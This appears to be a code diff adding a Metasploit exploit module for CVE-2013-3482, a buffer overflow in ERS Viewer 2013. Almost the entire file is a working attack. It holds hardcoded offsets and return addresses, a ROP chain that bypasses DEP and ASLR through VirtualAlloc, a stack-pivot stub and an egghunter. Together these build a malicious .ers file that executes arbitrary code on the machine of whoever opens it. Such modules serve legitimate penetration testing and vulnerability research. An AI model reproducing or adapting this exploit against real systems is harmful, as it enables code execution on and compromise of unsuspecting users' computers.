|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::FILEFORMAT |
| 14 | + include Msf::Exploit::Remote::Egghunter |
| 15 | + |
| 16 | + def initialize(info={}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => "ERS Viewer 2013 ERS File Handling Buffer Overflow", |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a buffer overflow vulnerability found in ERS Viewer 2013. |
| 21 | + The vulnerability exists in the module ermapper_u.dll, where the function |
| 22 | + rf_report_error handles user provided data in a insecure way. It results in |
| 23 | + arbitrary code execution under the context of the user viewing a specially crafted |
| 24 | + .ers file. This module has been tested successfully with ERS Viewer 2013 (versions |
| 25 | + 13.0.0.1151) on Windows XP SP3 and Windows 7 SP1. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'James Fitts', # Vulnerability Discovery |
| 31 | + 'juan vazquez' # Metasploit |
| 32 | + ], |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + [ 'CVE', '2013-3482' ], |
| 36 | + [ 'OSVDB', '93650' ], |
| 37 | + [ 'URL', 'http://secunia.com/advisories/53620/' ] |
| 38 | + ], |
| 39 | + 'Payload' => |
| 40 | + { |
| 41 | + 'Space' => 4000, |
| 42 | + 'DisableNops' => true, |
| 43 | + }, |
| 44 | + 'DefaultOptions' => |
| 45 | + { |
| 46 | + 'ExitFunction' => "process", |
| 47 | + }, |
| 48 | + 'Platform' => 'win', |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + # Tested on Windows XP SP3 |
| 52 | + [ 'ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR', |
| 53 | + { |
| 54 | + 'Offset' => 191, |
| 55 | + 'Ret' => 0x100329E9 # jmp eax # from ermapper_u.dll |
| 56 | + } |
| 57 | + ], |
| 58 | + # Tested on Windows XP SP3 and Windows 7 SP1 |
| 59 | + [ 'ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass', |
| 60 | + { |
| 61 | + 'Offset' => 191, |
| 62 | + 'Ret' => 0x100E1152, # xchg eax, esp # ret # from ermapper_u.dll |
| 63 | + 'RetNull' => 0x30d07f00, # ret ending with null byte # from ethrlib.dll |
| 64 | + 'VirtualAllocPtr' => 0x1010c0f4 |
| 65 | + } |
| 66 | + ] |
| 67 | + ], |
| 68 | + 'Privileged' => false, |
| 69 | + 'DisclosureDate' => "May 23 2013", |
| 70 | + 'DefaultTarget' => 1)) |
| 71 | + |
| 72 | + register_options( |
| 73 | + [ |
| 74 | + OptString.new('FILENAME', [ true, 'The file name.', 'msf.ers']), |
| 75 | + ], self.class) |
| 76 | + |
| 77 | + end |
| 78 | + |
| 79 | + def create_rop_chain() |
| 80 | + # rop chain generated with mona.py - www.corelan.be |
| 81 | + rop_gadgets = |
| 82 | + [ |
| 83 | + 0x10082624, # POP EAX # RETN [ermapper_u.dll] |
| 84 | + 0x1010c0f4, # ptr to &VirtualAlloc() [IAT ermapper_u.dll] |
| 85 | + 0x1001a9c0, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ermapper_u.dll] |
| 86 | + 0x1005db36, # XCHG EAX,ESI # RETN [ermapper_u.dll] |
| 87 | + 0x10105d87, # POP EBX # RETN [ermapper_u.dll] |
| 88 | + 0xffffffff, # |
| 89 | + 0x30d059d9, # INC EBX # RETN [ethrlib.dll] |
| 90 | + 0x30d059d9, # INC EBX # RETN [ethrlib.dll] |
| 91 | + 0x100e9dd9, # POP EAX # RETN [ermapper_u.dll] |
| 92 | + 0xa2dbcf75, # put delta into eax (-> put 0x00001000 into edx) |
| 93 | + 0x1001aa04, # ADD EAX,5D24408B # RETN [ermapper_u.dll] |
| 94 | + 0x10016a98, # XCHG EAX,EDX # OR EAX,4C48300 # POP EDI # POP EBP # RETN [ermapper_u.dll] |
| 95 | + 0x10086d21, # RETN (ROP NOP) [ermapper_u.dll] |
| 96 | + 0x1001a148, # & push esp # ret [ermapper_u.dll] |
| 97 | + 0x10082624, # POP EAX # RETN [ermapper_u.dll] |
| 98 | + 0xffffffc0, # Value to negate, will become 0x00000040 |
| 99 | + 0x100f687d, # NEG EAX # RETN [ermapper_u.dll] |
| 100 | + 0x1001e720, # XCHG EAX,ECX # ADC EAX,5DE58B10 # RETN [ermapper_u.dll] |
| 101 | + 0x100288b5, # POP EAX # RETN [ermapper_u.dll] |
| 102 | + 0x90909090, # nop |
| 103 | + 0x100e69e0, # PUSHAD # RETN [ermapper_u.dll] |
| 104 | + ].flatten.pack("V*") |
| 105 | + |
| 106 | + return rop_gadgets |
| 107 | + end |
| 108 | + |
| 109 | + # Restore the stack pointer in order to execute the final payload successfully |
| 110 | + def fix_stack |
| 111 | + pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18] # get teb |
| 112 | + pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit |
| 113 | + pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit |
| 114 | + pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset |
| 115 | + return pivot |
| 116 | + end |
| 117 | + |
| 118 | + # In the Windows 7 case, in order to bypass ASLR/DEP successfully, after finding |
| 119 | + # the payload on memory we can't jump there directly, but allocate executable memory |
| 120 | + # and jump there. Badchars: "\x0a\x0d\x00" |
| 121 | + def hunter_suffix(payload_length) |
| 122 | + # push flProtect (0x40) |
| 123 | + suffix = "\xB8\xC0\xFF\xFF\xFF" # mov eax, 0xffffffc0 |
| 124 | + suffix << "\xF7\xD8" # neg eax |
| 125 | + suffix << "\x50" # push eax |
| 126 | + # push flAllocationType (0x3000) |
| 127 | + suffix << "\x66\x05\xC0\x2F" # add ax, 0x2fc0 |
| 128 | + suffix << "\x50" # push eax |
| 129 | + # push dwSize (0x1000) |
| 130 | + suffix << "\x66\x2D\xFF\x1F" # sub ax, 0x1fff |
| 131 | + suffix << "\x48" # dec eax |
| 132 | + suffix << "\x50" # push eax |
| 133 | + # push lpAddress |
| 134 | + suffix << "\xB8\x0C\x0C\x0C\x0C" # mov eax, 0x0c0c0c0c |
| 135 | + suffix << "\x50" # push eax |
| 136 | + # Call VirtualAlloc |
| 137 | + suffix << "\xFF\x15" + [target['VirtualAllocPtr']].pack("V") # call ds:VirtualAlloc |
| 138 | + # Copy payload (edi) to Allocated memory (eax) |
| 139 | + suffix << "\x89\xFE" # mov esi, edi |
| 140 | + suffix << "\x89\xC7" # mov edi, eax |
| 141 | + suffix << "\x31\xC9" # xor ecx, ecx |
| 142 | + suffix << "\x66\x81\xC1" + [payload_length].pack("v") # add cx, payload_length |
| 143 | + suffix << "\xF3\xA4" # rep movsb |
| 144 | + # Jmp to the final payload (eax) |
| 145 | + suffix << "\xFF\xE0" # jmp eax |
| 146 | + |
| 147 | + return suffix |
| 148 | + end |
| 149 | + |
| 150 | + def exploit |
| 151 | + |
| 152 | + #These badchars do not apply to the final payload |
| 153 | + badchars = [0x0c, 0x0d, 0x0a].pack("C*") |
| 154 | + |
| 155 | + eggoptions = |
| 156 | + { |
| 157 | + :checksum => true, |
| 158 | + :eggtag => 'w00t' |
| 159 | + } |
| 160 | + my_payload = fix_stack + payload.encoded |
| 161 | + |
| 162 | + if target.name =~ /DEP & ASLR bypass/ |
| 163 | + # The payload length can't include NULL's in order to |
| 164 | + # build the stub which will copy the final payload to |
| 165 | + # executable memory |
| 166 | + while [my_payload.length].pack("v").include?("\x00") |
| 167 | + my_payload << rand_text(1) |
| 168 | + end |
| 169 | + end |
| 170 | + |
| 171 | + hunter,egg = generate_egghunter(my_payload, badchars, eggoptions) |
| 172 | + |
| 173 | + if target.name =~ /DEP & ASLR bypass/ |
| 174 | + hunter.gsub!(/\xff\xe7/, hunter_suffix(my_payload.length)) |
| 175 | + end |
| 176 | + |
| 177 | + if target.name =~ /NO DEP/ |
| 178 | + buf = rand_text_alpha(1) |
| 179 | + buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected |
| 180 | + buf << "AA" # EAX pointing to buf[5] prefixed with 0x00 after ret |
| 181 | + buf << hunter |
| 182 | + buf << rand_text_alpha(target['Offset'] - buf.length) |
| 183 | + buf << [target.ret].pack("V") # jmp eax |
| 184 | + buf << rand_text_alpha(8) |
| 185 | + buf << egg |
| 186 | + elsif target.name =~ /DEP & ASLR bypass/ |
| 187 | + buf = rand_text_alpha(1) |
| 188 | + buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected |
| 189 | + buf << [target['RetNull']].pack("V")[1,3] # EAX pointing to buf[5] prefixed with 0x00 after ret |
| 190 | + buf << create_rop_chain |
| 191 | + buf << hunter |
| 192 | + buf << rand_text_alpha(target['Offset'] - buf.length) |
| 193 | + buf << [target.ret].pack("V") # xchg eax, esp # ret |
| 194 | + buf << rand_text_alpha(8) |
| 195 | + buf << egg |
| 196 | + end |
| 197 | + |
| 198 | + ers = %Q| |
| 199 | +DatasetHeader Begin |
| 200 | +#{buf} End |
| 201 | + | |
| 202 | + |
| 203 | + file_create(ers) |
| 204 | + end |
| 205 | +end |
0 commit comments